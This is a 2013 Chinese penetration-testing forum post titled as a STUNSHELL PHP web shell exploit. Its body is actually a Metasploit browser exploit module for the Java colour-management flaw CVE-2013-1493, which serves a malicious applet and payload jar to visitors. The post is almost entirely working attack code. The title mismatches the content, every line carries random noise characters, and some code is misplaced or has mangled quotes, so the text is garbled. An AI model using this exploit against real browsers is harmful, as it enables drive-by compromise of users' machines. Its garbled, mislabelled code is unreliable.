中国网络渗透测试联盟

标题: STUNSHELL PHP Web Shell远程执行代码 [打印本页]

作者: admin    时间: 2013-4-4 17:31
标题: STUNSHELL PHP Web Shell远程执行代码
##
8 x5 l8 n, q/ b" G9 \0 B* }
) T& L7 d  V) _# L: K% \; p# This file is part of the Metasploit Framework and may be subject to
& i3 S( h% o* o) S8 R) R" q% D$ Z# redistribution and commercial restrictions. Please see the Metasploit& V, e) U% G" ~
# web site for more information on licensing and terms of use.& X7 p) W& |8 W0 X: ~" _8 J' T0 U
# http://metasploit.com/
  L% H" s+ F$ \% b  W##
2 K0 o: E0 R' e+ n. i$ j' nrequire ‘msf/core’
4 z( {6 @: K3 t$ rrequire ‘rex’$ z4 Q% x( d# [
class Metasploit3 < Msf::Exploit::Remote
. S1 M4 T, @  U* C8 ^; S5 r" A; {Rank = NormalRanking
# t! G4 t& x4 X0 @7 U) _include Msf::Exploit::Remote::HttpServer::HTML
( k& _) J. n) V! `  Tinclude Msf::Exploit::EXE: b5 v8 f) h0 H7 I  q
include Msf::Exploit::Remote::BrowserAutopwn2 L, _# O3 R: @* n! p( z& v
autopwn_info({ :javascript => false })3 {8 c) K# H* b5 }3 v
def initialize( info = {} ): D( q3 G: m( K: a
super( update_info( info,9 o  N" w( v& a) N) g. K
‘Name’ => ‘Java CMM Remote Code Execution’,: p' S3 M8 o. a7 X2 A' }( H, a
‘Description’ => %q{
6 t1 f% F; H4 p0 ^This module abuses the Color Management classes from a Java Applet to run
# o* n' |/ w3 }/ w( h' p  |arbitrary Java code outside of the sandbox as exploited in the wild in February
5 \8 c5 ?- L7 m/ }& |" f) D- g9 nand March of 2013. The vulnerability affects Java version 7u15 and earlier and 6u41
0 G6 x2 F. [* j: w/ @! r9 }and earlier and has been tested successfully on Windows XP SP3 and Windows 7 SP1
- V* G2 d! p7 Z2 r5 E: t7 n& H( Qsystems. This exploit doesn’t bypass click-to-play, so the user must accept the java% k% T. Q5 O" W3 |( z6 X% I9 `: x
warning in order to run the malicious applet.
( N4 X8 {8 Y/ Y+ i# M6 I# Y},1 j+ {% a- w& J5 n. y; G# X4 A
‘License’ => MSF_LICENSE,
3 G* \4 U. W( f  R/ s3 S4 m7 V7 ~! I! D‘Author’ =># M# ^& t! F$ `& Z! M
'Unknown', # Vulnerability discovery and Exploit/ z2 X- N5 W  A0 |: S
'juan vazquez' # Metasploit module (just ported the published exploit)  H$ e+ L5 Y6 u+ K5 C! \) m
],
* r4 {1 g; y. A# k‘References’ =>4 a) u8 N( _4 l/ v0 M) Q" U" y
[
; Y* q/ y9 [- Q; j* p[ 'CVE', '2013-1493' ],/ T  C4 z8 T) ~
[ 'OSVDB', '90737' ],# d3 P! J# t2 _) X) \1 h0 |  ~$ w
[ 'BID', '58238' ],8 n# D4 e: i) x: G! j3 g: a
[ 'URL', 'https://blogs.oracle.com/security/entry/security_alert_cve_2013_1493' ],( s4 @! `1 b6 a5 R# X% W2 ^7 {6 r# a
[ 'URL', 'http://www.oracle.com/technetwork/topics/security/alert-cve-2013-1493-1915081.html' ],2 M0 U: p+ E; ]% t$ g$ d
[ 'URL', 'http://pastie.org/pastes/6581034' ]5 _& @7 D/ P+ _+ k- S
],' ?/ {! q, u) I! P! a- D& V  L
‘Platform’ => [ 'win', 'java' ],$ F) {  E0 T1 `5 u8 ?5 C
‘Payload’ => { ‘Space’ => 20480, ‘BadChars’ => ”, ‘DisableNops’ => true },
! |! v( @5 @  i1 q' m1 b! ^‘Targets’ =>
: @2 a" {' F, l. t[9 _; U7 b$ m& a
[ 'Generic (Java Payload)',# Y- I6 B: y3 S! N
{; S" \" E7 g! J) g6 p# s2 A
'Platform' => 'java',. u, d  K1 j4 r8 A0 r1 m
'Arch' => ARCH_JAVA
. Y* {3 f9 Y* m- K/ C) N; \}
! o$ S' @5 r% e$ @" |],
0 e8 I: M) L$ G. f[ 'Windows x86 (Native Payload)',
9 o2 N+ B  d3 `5 t+ O{+ j# x, E- _( }
'Platform' => 'win',( p- Z. }* [+ k
'Arch' => ARCH_X86
) V- h* v  ~- C& F! v}
  V: H; o- @2 E8 I' V]
* `8 W! S" c/ I5 x6 _" g& K5 j],' {* N! e: m7 M, n, y! Y
‘‘DisclosureDate’ => ‘Mar 01 2013′
1 a' ^4 Q% o& c4 K: d! z" w8 N3 u))+ y. a8 L. {! k7 m1 T5 ?4 K
end
3 P( e: s; B7 B' Ndef setup$ Q' }, z1 U3 d5 e
path = File.join(Msf::Config.install_root, “data”, “exploits”, “cve-2013-1493″, “Init.class”)7 K( y! i! V" f
@init_class = File.open(path, “rb”) {|fd| fd.read(fd.stat.size) }) g' S$ N+ u- Q  E
path = File.join(Msf::Config.install_root, “data”, “exploits”, “cve-2013-1493″, “Leak.class”)) t1 A! M3 U; C8 D& V- i' ?& J
@leak_class = File.open(path, “rb”) {|fd| fd.read(fd.stat.size) }
5 |$ Y1 R. s, f- u# t* tpath = File.join(Msf::Config.install_root, “data”, “exploits”, “cve-2013-1493″, “MyBufferedImage.class”)' h* A1 o! s% t
@buffered_image_class = File.open(path, “rb”) {|fd| fd.read(fd.stat.size) }
7 @' W- N+ j% N; [path = File.join(Msf::Config.install_root, “data”, “exploits”, “cve-2013-1493″, “MyColorSpace.class”). u" J- A- S% ]# U6 x) l/ x: C6 o
@color_space_class = File.open(path, “rb”) {|fd| fd.read(fd.stat.size) }
  D0 H0 _1 C- t/ Q  V@init_class_name = rand_text_alpha(“Init”.length)
1 c1 k$ X9 \- b6 {; R6 ?@init_class.gsub!(“Init”, @init_class_name)! t4 @: G+ z7 Z6 [* B5 ~, L
super) J3 L  T' `$ O! a) U
end# G* w" w! `) l9 b' c5 U
def on_request_uri(cli, request)4 U* o- ?3 v+ ~, p' m7 }
print_status(“handling request for #{request.uri}”)
% |, m0 ~1 k; \, Ecase request.uri: L5 X3 q$ s- O8 T, a& ?* V* _: t1 V" x$ z
when /\.jar$/i
: G1 A4 [5 q6 d' C  Rjar = payload.encoded_jar
* w1 G4 f3 `3 [% I8 ?jar.add_file(“#{@init_class_name}.class”, @init_class)+ b8 k* ]' F1 u$ }4 O
jar.add_file(“Leak.class”, @leak_class); J9 D" P; j; J7 G0 a9 g! Z' `
jar.add_file(“MyBufferedImage.class”, @buffered_image_class)
/ y; _7 m8 P. D( ]: \jar.add_file(“MyColorSpace.class”, @color_space_class)
/ `, A1 O: j+ v5 {' {6 _DefaultTarget’ => 1,' O* J0 {5 ?7 V
metasploit_str = rand_text_alpha(“metasploit”.length)
3 k5 R. ]0 W+ a! B/ c, _% d8 H/ _payload_str = rand_text_alpha(“payload”.length)4 O$ U& i2 X8 D; C! X
jar.entries.each { |entry|
4 K" k. V, @5 ]entry.name.gsub!(“metasploit”, metasploit_str)% S9 H; \0 o6 t2 j& ?5 g
entry.name.gsub!(“Payload”, payload_str). X. z$ ]6 ?% P
entry.data = entry.data.gsub(“metasploit”, metasploit_str)
4 G$ w6 A9 L; _" z; B$ j7 bentry.data = entry.data.gsub(“Payload”, payload_str)
& O# P! n" A' |( m}, b/ v0 @, [, o
jar.build_manifest
1 N) [7 {$ z) S* q  G" hsend_response(cli, jar, { ‘Content-Type’ => “application/octet-stream” })
4 T0 G! h* ]- e4 g5 gwhen /\/$/
" _0 q  `) S) E; ppayload = regenerate_payload(cli)
8 A2 \6 `/ |2 G" l& @) Lif not payload
0 W/ K/ H2 \& O6 g3 Y% @print_error(“Failed to generate the payload.”)) V; w1 C  B1 F* m% n, Z/ ?
send_not_found(cli)+ r3 k3 e6 d: S" J8 ~& T, m
return
+ e6 h$ {  ]0 l; Z- eend
3 r( e$ @. U+ O0 }send_response_html(cli, generate_html, { ‘Content-Type’ => ‘text/html’ }). K+ R  \$ L! @1 B+ H
else0 w- V2 J5 c& r: h1 u3 A, i: P
send_redirect(cli, get_resource() + ‘/’, ”)3 V7 w9 V" x& H4 S7 \3 U, h
end( J* I2 s1 l. P: r( o* ^
end
; D% C" r- t9 udef generate_html2 E5 \" |4 g' ?6 }& g3 s2 J, [, R
html = %Q|<html><head><title>Loading, Please Wait…</title></head>|
" b6 W# ?; x! R" P, _; |html += %Q|<body><center><p>Loading, Please Wait…</p></center>|) \& X8 D! a7 c/ ~1 T. P
html += %Q|<applet archive=”#{rand_text_alpha(8)}.jar” code=”#{@init_class_name}.class” width=”1″ height=”1″>|& p# `8 u$ W5 v# a/ @9 O
html += %Q|</applet></body></html>|* L1 A& @+ l; U0 k, b1 s/ y3 l
return html1 P$ {7 F2 j9 ]6 e
end& X& x& D9 r/ n$ v* }' G
end2 d: w  c; \- s$ u8 G/ Z
end
' k0 K6 M, _* x& N( \




欢迎光临 中国网络渗透测试联盟 (https://www.cobjon.com/) Powered by Discuz! X3.2